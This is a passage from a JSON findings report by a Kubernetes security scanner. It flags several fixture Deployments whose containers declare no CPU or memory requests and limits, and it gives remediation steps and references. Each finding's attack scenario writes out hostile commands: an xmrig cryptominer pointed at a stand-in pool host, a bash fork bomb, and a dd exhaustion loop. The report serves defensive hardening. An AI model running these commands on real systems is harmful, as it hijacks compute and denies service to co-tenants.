    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n pv-hostpath-fixtures --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:rbac-fixtures:imp-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/rbac-fixtures/imp-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/rbac-fixtures/imp-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "imp-app",
      "namespace": "rbac-fixtures",
      "api_group": "apps"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/rbac-fixtures/imp-app`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n rbac-fixtures --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:rbac-fixtures:wildcard-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/rbac-fixtures/wildcard-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/rbac-fixtures/wildcard-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "wildcard-app",
      "namespace": "rbac-fixtures",
      "api_group": "apps"
    },
    "namespace": "rbac-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/rbac-fixtures/wildcard-app`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n rbac-fixtures --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:statusspoof-fixtures:statusspoof-api:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/statusspoof-fixtures/statusspoof-api` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/statusspoof-fixtures/statusspoof-api` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "statusspoof-api",
      "namespace": "statusspoof-fixtures",
      "api_group": "apps"
    },
    "namespace": "statusspoof-fixtures",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/statusspoof-fixtures/statusspoof-api`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n statusspoof-fixtures --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:vulnerable:generic-hostpath-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/vulnerable/generic-hostpath-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/vulnerable/generic-hostpath-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "generic-hostpath-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/generic-hostpath-app`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n vulnerable --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:vulnerable:host-ns-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/vulnerable/host-ns-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/vulnerable/host-ns-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "host-ns-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/host-ns-app`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n vulnerable --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
      "Enforce at admission with Kyverno (`require-pod-resources`) or OPA Gatekeeper (`K8sRequiredResources`) so the check runs in CI, not after an incident."
    ],
    "references": [
      "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/",
      "https://kubernetes.io/docs/concepts/policy/limit-range/",
      "https://kubernetes.io/docs/concepts/policy/resource-quotas/",
      "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF",
      "https://sysdig.com/blog/kubernetes-capacity-planning/"
    ],
    "learn_more": [
      {
        "title": "Kubernetes — Resource Management for Pods and Containers",
        "url": "https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/"
      },
      {
        "title": "Kubernetes — LimitRange",
        "url": "https://kubernetes.io/docs/concepts/policy/limit-range/"
      },
      {
        "title": "Kubernetes — Resource Quotas",
        "url": "https://kubernetes.io/docs/concepts/policy/resource-quotas/"
      },
      {
        "title": "NSA/CISA Kubernetes Hardening Guide v1.2 (PDF)",
        "url": "https://media.defense.gov/2022/Aug/29/2003066362/-1/-1/0/CTR_KUBERNETES_HARDENING_GUIDANCE_1.2_20220829.PDF"
      },
      {
        "title": "Sysdig — Kubernetes capacity planning: How to right-size requests and limits",
        "url": "https://sysdig.com/blog/kubernetes-capacity-planning/"
      }
    ],
    "mitre_techniques": [
      {
        "id": "T1499",
        "name": "Endpoint Denial of Service",
        "url": "https://attack.mitre.org/techniques/T1499/"
      },
      {
        "id": "T1496",
        "name": "Resource Hijacking",
        "url": "https://attack.mitre.org/techniques/T1496/"
      }
    ],
    "excluded": false,
    "tags": [
      "module:container_security",
      "check:missingResources"
    ]
  },
  {
    "id": "KUBE-CONTAINER-LIMITS-001:Deployment:vulnerable:risky-app:app",
    "rule_id": "KUBE-CONTAINER-LIMITS-001",
    "severity": "MEDIUM",
    "score": 5,
    "category": "infrastructure_modification",
    "title": "Container `app` in `Deployment/vulnerable/risky-app` is missing CPU limits, memory limits, CPU requests, and memory requests",
    "description": "Container `app` in workload `Deployment/vulnerable/risky-app` does not declare CPU limits, memory limits, CPU requests, and memory requests. Without explicit resource limits and requests the kubelet cannot reason about the container's demand and cgroup limits are not set, so a runaway process can consume all available CPU on the node or be killed last by the OOM-killer rather than first.\n\nThis is also a Quality-of-Service classification issue. Kubernetes assigns a pod one of three QoS classes (`Guaranteed`, `Burstable`, `BestEffort`) based on which resource fields are populated, and that class drives the OOM-score adjustment and eviction order. A pod with no requests or limits at all lands in `BestEffort`, the class kubelet evicts first when the node runs out of memory, which is the opposite of what you want for a production workload.\n\nBeyond stability, missing limits also enable cryptojacking and Denial-of-Service via container compromise: an attacker who lands code execution inside a `BestEffort` container can spawn `xmrig` and consume every spare CPU cycle on the node, starving co-tenants, or fork-bomb until the node OOMs and reschedules everything. ResourceQuota enforcement at the namespace level also requires every container to declare requests/limits.",
    "resource": {
      "kind": "Deployment",
      "name": "risky-app",
      "namespace": "vulnerable",
      "api_group": "apps"
    },
    "namespace": "vulnerable",
    "scope": {
      "level": "workload",
      "detail": "Workload `Deployment/vulnerable/risky-app`"
    },
    "impact": "Container can starve co-tenants of CPU or RAM on the same node, lands in the first-to-evict QoS class, and blocks ResourceQuota enforcement. After a compromise it enables silent cryptojacking and node-level DoS.",
    "attack_scenario": [
      "Attacker gains code execution in container `app` (RCE in the app, malicious dependency, SSRF→shell).",
      "They run `cat /sys/fs/cgroup/cpu.max` and see no limit, then `cat /sys/fs/cgroup/memory.max` and see `max`.",
      "They start a CPU miner: `xmrig -o pool.example:3333 -t $(nproc)` and immediately consume every core on the node.",
      "Co-tenant pods on the same node throttle and start failing liveness probes; the kubelet evicts other `BestEffort` workloads first.",
      "For a louder DoS: `:(){ :|:\u0026 };:` (a fork bomb) or `dd if=/dev/zero of=/dev/null bs=1M` until the node OOMs and reschedules everything. The container itself is the last to be killed because everyone else is `BestEffort` too."
    ],
    "evidence": {
      "container": "app",
      "missing_cpu_limit": true,
      "missing_cpu_req": true,
      "missing_mem_limit": true,
      "missing_mem_req": true
    },
    "remediation": "Set explicit `resources.requests` and `resources.limits` on container `app` so the pod reaches at least the `Burstable` QoS class.",
    "remediation_steps": [
      "Profile actual usage: `kubectl top pod -n vulnerable --containers` over a representative window, or use Vertical Pod Autoscaler in recommendation mode (`updateMode: Off`).",
      "Declare both `requests` and `limits` for CPU and memory on container `app`. As a rule of thumb start with `requests` at the p95 of observed usage and `limits` at 2× the requests.",
      "Add a namespace `LimitRange` with sensible defaults so future workloads inherit baseline values when authors forget.",
      "Add a `ResourceQuota` to the namespace so every pod must declare resources to be admitted; new BestEffort pods will be rejected.",
